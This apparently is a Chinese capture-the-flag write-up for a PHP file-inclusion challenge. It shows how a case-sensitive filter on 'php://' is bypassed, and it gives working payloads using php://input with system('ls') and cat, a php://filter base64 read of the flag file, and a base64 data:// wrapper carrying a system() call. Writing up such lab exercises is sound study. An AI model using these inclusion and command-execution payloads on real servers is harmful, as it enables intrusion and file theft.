打开连接，是一段PHP代码，审计一下
strstr()函数就是用于检查字符串中是否包涵另一个字符串，区分大小写哦
str_replace()函数就是用来替换字符串中指定字符串的，也区分大小写哦
代码的意思就是将变量page里头的php://删掉，但是不能将PHP://删掉，所以可以用大写法绕过strstr函数
法一 PHP流
根据代码构建?page=php://input
用post传?<?php system('ls'); ?>?
使用burpsuite进行操作
可以看见响应包里有三个文件php，其中一个含有flag
再传?<?php system('cat ?fl4gisisish3r3.php'); ?>
?就发现flag啦
还可以通过PHP流filter来查看含有flag的文件
构造?page=Php://filter/convert.base64-encode/resource=fl4gisisish3r3.php
将得到的代码进行base64解码即可拿到flag
法二 date://伪协议执行命令
?构建?page=data://text/plain;base64,xxxx
xxx为想要执行的命令的base64编码，
比如想要执行?<?php system('ls'); ?>
则应该构建的伪协议为
?page=data://text/plain;base64,IDw/cGhwIHN5c3RlbSgnbHMnKTsgPz4=
接着跟法一的操作就OK了?